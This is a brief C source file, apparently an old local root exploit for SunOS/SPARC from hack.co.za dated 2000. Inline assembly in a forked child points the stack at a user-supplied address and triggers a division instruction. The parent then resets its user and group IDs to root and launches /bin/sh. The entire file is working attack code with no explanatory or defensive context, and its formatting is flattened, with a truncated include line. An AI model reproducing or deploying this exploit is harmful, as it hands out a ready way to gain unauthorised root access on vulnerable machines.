#include unsigned long addr; unsigned long *pp; char buf[BUFSIZ]; main(argc, argv) int argc; char **argv; { printf("enter address in hex\n"); gets(buf); sscanf(buf, "%x", &addr); addr -= 32; pp = (unsigned long *) addr; printf("address is 0x%0.8x\n", addr); if (fork() == 0) { asm(" sethi %hi(_addr), %i4"); asm(" ld [%i4+%lo(_addr)], %i4"); asm(" nop"); asm(" mov %i4, %sp"); asm(" udiv %i2, %i7, %i2"); asm(" nop"); exit(0); } else { wait((int *) 0); setreuid(-1, 0); setregid(-1, 0); system("/bin/sh"); exit(0); } } /* www.hack.co.za [2000]*/